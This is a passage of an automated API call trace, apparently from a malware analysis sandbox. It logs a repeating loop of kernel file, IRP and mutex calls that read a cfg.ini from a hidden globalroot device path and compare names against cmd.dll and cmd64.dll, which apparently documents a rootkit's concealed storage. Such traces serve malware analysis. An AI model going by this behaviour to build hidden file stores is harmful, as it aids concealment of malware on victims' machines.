(hMutex=0xf0) returned 1 [0120.725] Sleep (dwMilliseconds=0x124f80) [0120.740] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.740] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.740] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.740] KeEnterCriticalRegion () [0120.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.740] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.740] IdePortDispatch () returned 0x103 [0120.741] KeWaitForMutexObject () returned 0x0 [0120.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.741] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.741] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.741] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.741] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.741] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb0e0 [0120.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.741] KeLeaveCriticalRegion () [0120.741] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.741] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.741] KeEnterCriticalRegion () [0120.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.741] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.741] KeLeaveCriticalRegion () [0120.741] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.741] KeEnterCriticalRegion () [0120.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.741] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.741] IdePortDispatch () returned 0x103 [0120.741] KeWaitForMutexObject () returned 0x0 [0120.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.741] KeLeaveCriticalRegion () [0120.741] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.742] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.742] KeEnterCriticalRegion () [0120.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.742] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d0000 [0120.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.742] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.742] IdePortDispatch () returned 0x103 [0120.742] KeWaitForMutexObject () returned 0x0 [0120.742] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.742] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.742] IdePortDispatch () returned 0x103 [0120.742] KeWaitForMutexObject () returned 0x0 [0120.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.742] KeLeaveCriticalRegion () [0120.742] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.743] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.743] KeEnterCriticalRegion () [0120.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.743] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.743] KeLeaveCriticalRegion () [0120.743] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.743] KeEnterCriticalRegion () [0120.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.743] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.743] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.743] KeLeaveCriticalRegion () [0120.743] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.743] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.743] KeEnterCriticalRegion () [0120.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.743] ExFreePoolWithTag (P=0xfffffa8003bbb0e0, Tag=0x0) [0120.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.743] KeLeaveCriticalRegion () [0120.743] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.743] ReleaseMutex (hMutex=0xf0) returned 1 [0120.743] Sleep (dwMilliseconds=0x124f80) [0120.757] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.757] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.757] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.757] KeEnterCriticalRegion () [0120.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.757] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.757] IdePortDispatch () returned 0x103 [0120.757] KeWaitForMutexObject () returned 0x0 [0120.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.757] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.757] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.757] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.757] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.757] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9410 [0120.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.757] KeLeaveCriticalRegion () [0120.757] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.757] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.757] KeEnterCriticalRegion () [0120.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.757] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.757] KeLeaveCriticalRegion () [0120.758] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.758] KeEnterCriticalRegion () [0120.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.758] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.758] IdePortDispatch () returned 0x103 [0120.758] KeWaitForMutexObject () returned 0x0 [0120.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.758] KeLeaveCriticalRegion () [0120.758] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.758] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.758] KeEnterCriticalRegion () [0120.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.758] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d5000 [0120.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.758] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.758] IdePortDispatch () returned 0x103 [0120.758] KeWaitForMutexObject () returned 0x0 [0120.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.758] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.758] IdePortDispatch () returned 0x103 [0120.759] KeWaitForMutexObject () returned 0x0 [0120.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.759] KeLeaveCriticalRegion () [0120.759] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.759] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.759] KeEnterCriticalRegion () [0120.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.759] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.759] KeLeaveCriticalRegion () [0120.759] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.759] KeEnterCriticalRegion () [0120.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.759] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.759] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.759] KeLeaveCriticalRegion () [0120.759] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.759] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.759] KeEnterCriticalRegion () [0120.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.759] ExFreePoolWithTag (P=0xfffffa80039d9410, Tag=0x0) [0120.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.759] KeLeaveCriticalRegion () [0120.760] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.760] ReleaseMutex (hMutex=0xf0) returned 1 [0120.760] Sleep (dwMilliseconds=0x124f80) [0120.774] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.774] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.774] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.774] KeEnterCriticalRegion () [0120.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.774] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.774] IdePortDispatch () returned 0x103 [0120.774] KeWaitForMutexObject () returned 0x0 [0120.774] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.774] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.774] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.774] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.774] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.774] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdb00 [0120.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.774] KeLeaveCriticalRegion () [0120.774] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.774] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.774] KeEnterCriticalRegion () [0120.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.774] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.774] KeLeaveCriticalRegion () [0120.774] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.774] KeEnterCriticalRegion () [0120.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.775] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.775] IdePortDispatch () returned 0x103 [0120.775] KeWaitForMutexObject () returned 0x0 [0120.775] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.775] KeLeaveCriticalRegion () [0120.775] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.775] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.775] KeEnterCriticalRegion () [0120.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.775] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034da000 [0120.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.775] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.775] IdePortDispatch () returned 0x103 [0120.775] KeWaitForMutexObject () returned 0x0 [0120.775] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.775] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.775] IdePortDispatch () returned 0x103 [0120.775] KeWaitForMutexObject () returned 0x0 [0120.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.777] KeLeaveCriticalRegion () [0120.777] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.778] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.778] KeEnterCriticalRegion () [0120.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.778] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.778] KeLeaveCriticalRegion () [0120.778] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.778] KeEnterCriticalRegion () [0120.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.778] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.778] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.778] KeLeaveCriticalRegion () [0120.778] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.778] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.778] KeEnterCriticalRegion () [0120.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.778] ExFreePoolWithTag (P=0xfffffa8003bbdb00, Tag=0x0) [0120.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.778] KeLeaveCriticalRegion () [0120.778] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.778] ReleaseMutex (hMutex=0xf0) returned 1 [0120.778] Sleep (dwMilliseconds=0x124f80) [0120.792] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.792] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.792] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.792] KeEnterCriticalRegion () [0120.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.792] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.792] IdePortDispatch () returned 0x103 [0120.792] KeWaitForMutexObject () returned 0x0 [0120.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.792] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.792] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.792] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.792] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.792] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9410 [0120.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.792] KeLeaveCriticalRegion () [0120.792] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.792] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.792] KeEnterCriticalRegion () [0120.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.792] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.792] KeLeaveCriticalRegion () [0120.792] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: 